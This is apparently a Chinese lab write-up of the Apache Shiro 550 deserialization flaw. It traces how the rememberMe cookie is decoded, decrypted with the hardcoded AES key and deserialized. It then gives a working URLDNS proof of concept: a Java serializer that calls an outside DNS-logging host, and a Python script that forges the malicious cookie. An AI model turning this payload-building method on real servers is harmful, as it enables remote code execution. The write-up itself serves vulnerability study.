介绍
Apache Shiro 是一个强大易用的 Java 安全框架,提供了认证、授权、加密和会话管理等功能。Shiro 框架直观、易用,同时也能提供健壮的安全性。
漏洞影响版本
Shiro <= 1.2.4
环境搭建
jdk:1.8.0_372
Tomcat8
这里我用的是 p 神的环境 https://github.com/phith0n/JavaThings/tree/master/shirodemo
首先用 idea 打开项目
配置好 Maven ,确保依赖没有任何问题后,下载 Tomcat
这里我用的是 idea 社区版,需要在 idea 插件市场下载一个 Tomcat 插件
配置如下
接着点击运行
账号密码是 root/secret
漏洞分析
勾选 remember me 字段,如果账号密码正确,会在返回包里面包含 rememberMe=deleteMe
字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段,那么就可以利用这个 rememberMe 进行反序列化,从而 getshell。
从代码审计和漏洞发现者的角度分析问题,我们搭建该项目,抓包,发现包里携带 cookie,很明显是经过某种加密的结果,所以我们需要去代码里面寻找与 cookie 处理相关的代码。
我们在知晓 Shiro 的加密过程之后,可以人为构造恶意的 Cookie 参数,从而实现命令执行的目的。
我们直接双击 shift 寻找 Cookie 相关的类和方法
最后我们找到的是 CookieRememberMeManager
类,明显是与 cookie 相关的。
接着我们看到这个类的内部有一个 getCookie()
方法,我们在这里下断点进行调试。
我们发送数据包进行分析
我们走到了 getRememberedSerializedIdentity()
方法里面
这里可以看出,传进去的 cookie 值,传到了 base64 变量里。
这里先判断 base64 变量的值是不是 deleteMe
,这里很明显不是。然后会通过函数 ensurePadding
进行 base64 填充,然后会通过 base64 解码,赋值给 byte[] decoded
,最后返回 decoded
。
返回的内容会赋值给 byte[] bytes
,也就是说现在的变量 bytes
就是存放的 base64 解码后的 cookie
接着走,发现会调用 convertBytesToPrincipals()
函数,将 bytes 作为一个参数传进去
如果加密服务存在,就通过 this.decrypt()
函数对 bytes
进行解密;
加密服务存在,看下加密服务信息,发现使用的就是 AES 的 CBC 模式加密,填充模式为 PKCS5Padding
接着跟进去看看解密函数 decrypt()
,
可以看到,第 167 行的 decrypt()
函数,有两个参数,第一个是 base64 解码后的内容,第二个是 getDecryptionCipherKey()
函数,该函数有什么作用呢?
发现该函数返回一个 decryptionCipherKey
那么这个 decryptionCipherKey
是个什么东西呢?
我们看看谁调用了。
首先发现他是一个变量
接着看看都有谁调用了这个变量
首先是 setDecryptionCipherKey()
调用了,有点莫名其妙,再看看谁调用了 setDecryptionCipherKey()
发现是 setCipherKey()
方法,该方法接受一个 byte 类型的变量
再看看是谁调用了 setCipherKey()
方法,可知是 AbstractRememberMeManager()
方法
该方法里面,我们跟进去发现它的一个常量,是一个固定的值(kPH+bIxk5D2deZiIxcaaaA== )。
现在很清晰了,一整条寻找的思路如下图所示,也就是说:this.decryptionCipherKey
就是默认 key kPH+bIxk5D2deZiIxcaaaA==
的 base64 解码的值,也就是密钥。
返回密钥后进入解密函数 cipherService.decrypt()
大家都知道 AES 解密除了密钥还需要一个偏移量 IV,之前一直没给出来,所以应该也是在解密函数里面,跟进,跟几步就能看到 IV,字节是 16 个 0,翻译过来就是 ' '*16
现在解密完成后,开始第二部了:
反序列化
把解密好的字节进行反序列化
反序列化调用 readObject()
位置
至此,我们分析完,我们传进去的 cookie 是怎么解密的了。
小结
shiro 在获取到 cookie 后会进行 base64 解码-->AES 解密(CBC 模式,PKCS5Padding,默认密钥为 kPH+bIxk5D2deZiIxcaaaA==
)--> 反序列化。
总体来说分析起来还是很简单,简化一下就是
- 首先在
CookieRememberMeManager.getRememberedSerializedIdentity
中进行base64解码
- 然后调用
AbstractRememberMeManager.convertBytesToPrincipals
,其中包含了 AES 解密和反序列化
Shiro550 的根本原因:固定 key 加密,Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里(Shiro-550),Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。
漏洞利用
构造 poc 我们只需要反着来
- 生成序列化后的 poc
- aes 加密
- base64 加密
URLDNS
序列化 poc 如下:
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;public class URLDNSEXP {public static void main(String[] args) throws Exception{HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();// 这里不要发起请求URL url = new URL("http://thinqnoxeh.dnstunnel.run");Class c = url.getClass();Field hashcodefile = c.getDeclaredField("hashCode");hashcodefile.setAccessible(true);hashcodefile.set(url,1234);hashmap.put(url,1);// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性hashcodefile.set(url,-1);serialize(hashmap);//unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}
// public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
// ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
// Object obj = ois.readObject();
// return obj;
// }
}
加密脚本直接拿过来用了,将序列化得到的 ser.bin 放到之前写好的 python 脚本里面跑
from email.mime import base
from pydoc import plain
import sys
import base64
from turtle import mode
import uuid
from random import Random
from Crypto.Cipher import AESdef get_file_data(filename):with open(filename, 'rb') as f:data = f.read()return datadef aes_enc(data):BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))return ciphertext# def aes_dec(enc_data):
# enc_data = base64.b64decode(enc_data)
# unpad = lambda s: s[:-s[-1]]
# key = "kPH+bIxk5D2deZiIxcaaaA=="
# mode = AES.MODE_CBC
# iv = enc_data[:16]
# encryptor = AES.new(base64.b64decode(key), mode, iv)
# plaintext = encryptor.decrypt(enc_data[16:])
# plaintext = unpad(plaintext)
# return plaintextif __name__ == "__main__":data = get_file_data("ser.bin")print(aes_enc(data))
python 加密生成的恶意 cookie 如下:
再将 python 加密出来的编码替换包中的 RememberMe Cookie,记着 JSESSIONID 删掉,因为当存在 JSESSIONID 时,会忽略 rememberMe。
其他链
未完待续
参考
Java 反序列化 Shiro 篇 01-Shiro550 流程分析 | Drunkbaby's Blog (drun1baby.top)
07.IDEA 远程调试 Shiro550 · d4m1ts 知识库 (gm7.org)